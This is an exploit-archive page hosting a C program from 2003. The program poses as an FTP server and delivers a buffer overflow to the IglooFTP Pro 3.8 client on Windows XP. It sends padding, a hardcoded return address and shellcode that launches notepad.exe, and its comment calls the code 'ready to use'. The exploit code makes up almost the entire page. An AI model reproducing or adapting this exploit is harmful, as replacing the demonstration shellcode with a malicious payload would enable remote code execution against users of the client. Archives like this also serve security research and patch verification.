what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IglooExloit.c

IglooExloit.c
Posted Aug 9, 2003
Authored by Vafa Khoshaein

IglooFTP Pro 3.8 client side remote exploit for Windows XP Pro Build 2600.x. Included shellcode runs notepad.exe.

tags | exploit, remote, shellcode
systems | windows
SHA-256 | a1759d8d7e93d3bc684eafcaf16d26dfeb674d131ee9c65a7db0179d42c1284b

IglooExloit.c

Change Mirror Download
/* IglooExploit.c (Windows XP Professional Build 2600.x)
*
* vkhoshain@hotmail.com
* ---------------------------
* glooFTP Pro 3.8 Remote exploit code is ready to use ;)
* all you need to do is compile the source code and then
* run the program and wait for glooFTP Pro 3.8 connection
*
* This one doesn't do anything , just run notepad.exe and then crash
* the program by :
* INT 3 ;)
*
*/

#include "winsock2.h"
#include "stdio.h"
#pragma comment (lib,"ws2_32")

int main()
{

char spend[1024];
char shellcode[] = "\x90\x90\x90\x90\x90\xEB\x13\x5F\x66\x31\xC0\x88\x47"
"\x0E\x40\x50\x57\xB8\xC6\x84\xE6\x77\xFF\xD0\xCD\x03"
"\xE8\xE8\xFF\xFF\xFF\x6E\x6F\x74\x65\x70\x61\x64\x20"
"\x20\x20\x20\x20\x20\x20\x23";
WSADATA wsaData;
int s1,spt;
struct sockaddr_in p;
struct sockaddr_in emp;
int len;
// Startup ...
WSAStartup(0x0101,&wsaData);


// Creating first socket!
printf("Creating socket ...\n");
if ((s1=socket(AF_INET,SOCK_STREAM,0))==-1){
printf("Err in Creating socket\n");
closesocket(s1);
return 0;
}
p.sin_port = htons(21);
p.sin_family =AF_INET;
p.sin_addr.s_addr = INADDR_ANY;



// Binding ---
printf("Binding ...\n");
if ((bind(s1,(struct sockaddr*) &p,sizeof(p)))==-1)
{
printf("Err in Bind ...\n");
closesocket(s1);
return 0;
}

printf("going to start listening\n");
if ((listen(s1,5))==-1)
{
printf("Err in liten method ..\n");
closesocket(s1);
return 0;
}

len=sizeof(emp);

// ACCEPTING
printf("Listening on port 21 , please wait for glooFTP(ver3.8) connection
...\n");
spt=accept(s1,&emp,&len);
printf("The ftp client has just connected ,please wait ...\n");

send(spt,"200 ",4,0); // Sending "200 "


send(spt,spend,1024,0); //to recive RET addr place


send(spt,"\x79\xfc\xe9\x77",4,0); //EIP Address (RET Addr)


send(spt,shellcode,46,0); //Sending Shellcode

send(spt,"\n",1,0);

closesocket(s1);
closesocket(spt);
printf("Shellcode has just sent , Done.\n");

return 0;

}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close